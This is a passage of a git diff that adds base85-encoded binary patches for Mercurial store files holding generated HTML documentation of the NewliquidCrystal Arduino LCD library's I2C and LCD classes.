zXEw>nlPX7oY;5O$XzP6q8c8EIC|S(g@#4Fdqx zwLXc5E`d>ad%gkyMU%7o0ssiR$`TVA6^EE7iF{;gHrk!ohuXm7ct7ROb4r3hb<>e( zVo8M3y@%E^?2|0KMz&jG(~)Q(Whbl8^#eeUJKJ7lm3X%riT;}c4z~1XGDcy)M_&J+ zK#eTvDWK|X--QgPRO^y0<{907*qoM6N<$g1AvvmjD0& literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__i2__c__i__o-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__i2__c__i__o-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b46c4e604bba67ad73873d1353425cf3d796470a GIT binary patch literal 5280 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__i2__c__i__o.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__i2__c__i__o.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0d8b55f7b183c327d79ae4b9a695c02c2b244d76 GIT binary patch literal 7541 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 I1u^XXA4qg?(f|Me literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__l__c__d-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__l__c__d-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..a3a14493c4e46581061a7fbf95bb25766ebf6694 GIT binary patch literal 7115 zcmbVwWmMGBxAxE=-6`GOAR*EXL$@>xEr>d_BHhv{ozmS>A`HxcbPFQgEg*7d_;c@j zKfNFBUhC|A)|qFmv-h*l@0`5{fCNASJP4LI0Kg*upE-cy{!xhc{!HxRRvzUJ#F>d# z%W;mcqYOM^9t=2pn###zQR%WH=vy+HsHl~?5Y6W}?!2ZfR^w7EqIVt91^k;}CV_kv z9@XK?e>VaB`OJ_{#HFf$Z*}spi)x?Q(e>@{XrnEod!IY(4AF+{&VP4XBjj5Hl9YJ& zt6TkR-=@*7ug<=trG?$7lI3d%Cb!=K-oa0PZ+@O%*|tk`MSu;sNZ$bU4CZ~!L#;hwjCBjepmGF%eq z@bof`RDt>4sLN`zXLN2wd6_c^7WmcoZ6a76b;3>)Z++wp+bd&OP5)i#Zq$;G2U_Pfmqu+z-9VN&&ITR0B&4jl^M#*e(PqnRv_VCj`z0 z_GcwBr&`>hdlxDe<+lkxr&qwj-o(uu;~NLds8Qe7Y2VhT7I!n*e@c_fmG%S$@_Jy@ zM71P*bbcw!FIl9lox3_kr=>Mi1AM_kHLkGo2|Ju5g_Rcd_wV0&+_5|nAB)R|s0g1i zp)Dn}e7VeTp*@XLojs0=9dZ#5{8b|T%-8q*kZZQx*H}5K^5SQuWwCIj;FkWN-Y}oqP{kiOX;qDG;1YV$WuPPpT-MB2KP6RLD%>9Kwa^e2*Nq7vU*65>jxILf#%9`1A8rf-rYCa+0*kai1ZALGLVDi_NKR{EtVtv(ZIDO1xYB+Ij>%M zeJAhGyR;YaRCHrVHSp<|QjTjdVq+CF{oS=f!_!IKlP^Ubui(gLlE3zL^{*yZTc`M1R7u#rO?Zrwb|))ICu2NEGLdv*v>R+)L%}_QUG*$^x%i5K%ipI-LEYUdkj+(szTan$~u(SF><9!nF`ntB* zpG8WKyqCWdq2jnJb(?9KO)ZD(vf9S@yed8Ll0NLgK9nY}qrA#eaU1Fkn zJR8Po0NZ>f{9+$HX(A!RwlvnBJ;Yt)_sgKP>NA%&T??<6zj+13`~YrXQ^RyDU%P7N zLtOi&KG4Lp|4~}NDf}4oQLBZYi$Vr{Egm`87)l#e9nKfV^u{BZ^4wXl=YMtj}TjrvPdA@IGUs@&RCcw ztV7U4bN6^#J>$l=F&rsLDQ`};INwn431fvx!o*NWD_g!;D*v$Q$7kktib>{T+qb7T z>6NAwn0{54#yNNRu!POMW6?J7n~Tfn`GZS-u1Z6iBzr><>`y@-b2NS_oMPUKF`gt* zEUQtW(W6n(em3|;QEVMQe%lKKlm=6h8U*sLDfe6nI6(-hZO0VL+W{o;IhOI z@u>yG)s1Q?8tldFzQheA__GxDjs@dp3$rD&egldSlBoG2bH(lcqKO4&T~A!=f&ggM zF;|ZiKJl(|^rue!KJ-Gj^^C~t+@J$OKW`!9LHt{Lk>+)Cy=JxF4jLc;?f71qv9=%6RC?oVOT+jvX?C} zR_Ni%imQ2w$Nt*epAp(j5cw*GJgcI}XDubF_Uy8{yRSE6qfbk_ppvaI{RGn}WAuU= zN&I*Lkvh?O09IW})7_wz@5b1i0!o^$9yuM1kFDv_JAHQFs`0 zSR+ZgFEdW%!@`+)C|Fk`i~ril1QZl-s{qA948hETV3J?LNE)+XtKc5xiN)K}FQ-HY zZ+=F^AGea}YV`xXGC(+LtTq$z;zrg)6z7641NX}cg9#|%INI#tLN zD6D%Lf09Jrtg@VhMqa6a=d0$J-i6jXv+xe-1vyK$a^2?&-H|%ib|7PR8*hwJZ4R`< zSdV?^yqGwzcgN+idsP(h3$=pTO{ddQt*SJS$Nt9WE>U5Vl^2Q-A3u>@&b%u%{%Y2> z!>=8_y+3)w|1LACn9;oW`;9H_j`+|}1li7>XGxO>{5|%*e)OC{`jj9RB6RUD5Vycc z>9Y9?jysOxm9G9#m!}cLTWmDx{d4{bfxKfzQ#>p-_iC&g_~Y4Hk#m4K5l9-L_zgXRdpu2aY6EF+JUd zIsa_GymyH8LR&~3dV4a9cjfG~SD$|8z53kP1A{Z#Zo9TpogJfaXJIm{UZK=+(9|H{X-0~W}PZ+<=o?o_!W_9)!Y<*$LH#pxqyz~#rcUCi#WEC>s>$8Xj}i|Al4A%mx#g( zQLVw{-T$iDs1OT?vW?0mpw+BT5Cuz6X(;n+okM33FCXH!{}ynztrgJI&I&j`+S3EH zOVTMy$WAggcm0x_nroS8T2$oWn3SHVn`~+x!)ooQmz|ZKWV`h_GtD&FI5D#zA-9wu z+qhsg&9cM_RBmNw1;S*m)ZnR#!6BVEjVAHWwjl8rOo}3k<|IwzoKD7t;#9T)Y&KZ@ z5!++!Jvgxs0I(7~xw->S2mx=|ea_esVch#Yhy|@09vakdHucc5J++RzE*M zXcuo9MOy?*oqU$kx2BL6^!Y1!a-V`&)tF1e>cqM*#MWrDv4~NLDvdj#VrMI(w)^`j zP@5wFCvmHl?!pOHDSydm6XYe=S**Y-3e4N5xw7OEv)3aG+SX1BGZ6IHo~A|cPRtt@ z2GPK2Q^x=|wAq|!hH?nVAfV)*P{!Wf!LmnMG_45DXATE%%Dbcrhw~;K`w8qpm`Bu# zS_8Sr-}7DDI)WOA{SlVljnFu!CM)XQdu3+50tVW(&q`onWl$bjJ$l>1j2BmRUOeiC z*j#)nPEOBf-qd=+*=YQYJZA$$$WLY;0{4M)MfgYoB8|uhu8>B=*B5x|v~x7$Kh7+< zWyU?VjeNvBn1>W^I9dVStgNiq>xbEORbZ;zyv+t`BV&B3Jh~Gt4XPTd9BMqgN=da1 z95Bt%;kwt_P<0+PZdFa4p)oy7UZ~!&+Nd6Xy*|GnzpyTUW38ZQi=e2k$_StCvFBTz z<6#X>HSP+1l?r`5QDLFlO=N(O2nz{fcWmH;4-Nk-$zt#o6oliMjdYxNB*&vsP!7Wh zV96)+CE~;f^rHf2Tf}ue>EkB}<=fUrwOk|mQRk*+Q07FYNG{eZ?WSAVsHs`7x~+cg zuk;ESE)=kZZ*`1H5eHa}h|ri3tF+hhEgY-x&H<6G-Cm$yy|E5y8)Nk*tVusmyjt&Q z4iyZUObAma>k@GM#J7&rQFG;lk>yD))1lkL1|nveF38aZnH%Nedow24V&m3HU%o zgbey~h2t5nx84R(1)e|69xBM5$9q6LDsXnwl)5&u00Cf?70k%`FSPD?0r@2h=#^6e zK@8R)N|@ifccLV37n>|1mi`*h-no%|U|$jS#FvH^TC!#^6rIQp^)fKnAp@)#Q|S|F zc^WgV&DB0L*%$r;C^1f$*TA$p0NJMqRFX#Jp#$$t0R7U5LDv=zpJw zB@8+aF~C{{q$LJNQ>9bW_0pX+{JaO#mIh2o?BA6uc&)wE1;XDKsUw|_=HDm%E@pgF zWs3J`n(OwPNY$QuN|(BRSq2~0b9;;5dVDncHf~v(SKhy7=K9aO;|_BAV|g4 zL1-jOcsBm~a2diE&=A>Z_bN^%-Td$^Klh9jLw3*iDeSK;0{!0tzhx4jYW*)rLTjjd ztIu(H^|+tdWHzb>Wy1ywvVx=AiLrz-sEO01A;sk) zX{{jP;Su`0GN#zMixHVhU%+4mj|Y!Pv-a0|>BHvmezWp<1(<{mdT-=ud}n$}uErvf z6H}iIspOkvhUsUfFlPYI^;@J8f4Lg8SZ8B!SDui!8o|2%>MFA2)cgcBw|?H**#if@ z`zp2d3GK6{ts|NY~+OZORidWZ&CpP&?hl_2QYPx+k zw&9<_7O_*NKL>&!JZFSPf?q@I4u~0C5agjFh(-66cM@D^iUU-tB9q>h<28T!4ld3; zRf3R=k^8Yx89D~PS-VL|4?v$}StV7N;<$|qbQOi8GgU4C0zv`N%tTu;ku;Y*30V3w zqh*j-qC@GJIb)JT|4p!%s*oA>Y*r%Pm>%QYvBI};GyjB9|J2G}VhkJKt>y$6vR7s~ zi00)JSl4~hWe}^(yp#dU#EV~@7yqhz`7(rh-In)UOY7eg2w2JF^Nt-%AkIfH-iPGG zN6rbR53P3_r=E1Hd!BK455$@eVzFyh$Mh_?4z9jkDa7s*uyhIUKkiSk0i`sZK9Tf> z6oz$wG}~AsQqQ9?R-okfO)RpNU6!P<3@PTw@!|t^kCq6>YOx(fD|9m^jP z|A%f6d>I2lw@L*q%$`kZekTihm=pu)GbDSe}ut-z7d~J4lw_Mt*9qYN&XsDJ(?V`}T`9_31 z#e2eF$;${R9W&Ot5Go#q-ccl2=xD?#i5!TP-)^!@``WU6{|;69+9imUkf*@_rbEKR zHKH|D&%V{S`P8s4@aVqQXZJn;z>s#BXC$WryxU54ry)kqd625)x^LQHEV|EzR23E(v^pojteQ{ z5z%%hFHdRdu4T7xltbK?6fnDbD7eUH#9MtlGj7Djf5RGq+h@x0CqA{qMORmGPMWl3 zYZKmndxlk^`XC8w;tGhS=@&2Vl6ZplrWM?CC)WgG_X5f=pC5A6{R!Ar^^=glIP%=b zf**3p7ke0aGefhuUsK1&is;Vtq1Yx1&rt7FRyxM0$U2a*b2N%T7b$pCO;VI{D{oh| z4BE=?)1;f{pesK+Aj`?3$&2J2AD+{xS%ko=< zJ44Iwpd)C%ya3{C*-4NNV2z;7QC?M^)H7CY;^wG{+Mo~JW*ThQo7;7YdZJ-8WUhP| ztdS#^$GAF?DC!hEY2s{&3;^5yXz`)5XegXwYS#9gTue>TAle?0s!_4uQ z-#*^}TmCHH;A=j*m3ltowSQzDZ2gBRe|kKV;(~aaJ_85u>Sz5bNa z8Ob@;Xy||V?jI133SL>H{EV97CmCb{H;Hx24dv}exGwIDdP}@TKCF(a{S{n5&d3s^ z<(4h{bYgT>Dy(MRc0YJ^F&);*%k|QD`DI9QQqtKS%t%~zd&Q{HY#Vuf)P!5uB@?YY zZ=%98#6b(*orKB~o13ze*^v*u;q~&-Z&$-N&J6REQfDov5x~JL^P7T;7ARA-yy z$iJ?b8Rcw&A}clIRsBty#*&tN*5#uvb9wG4`gT%qqP$yqIo1Plf8Hc5QcHDNauKvyfJk!{e|W5ve}j 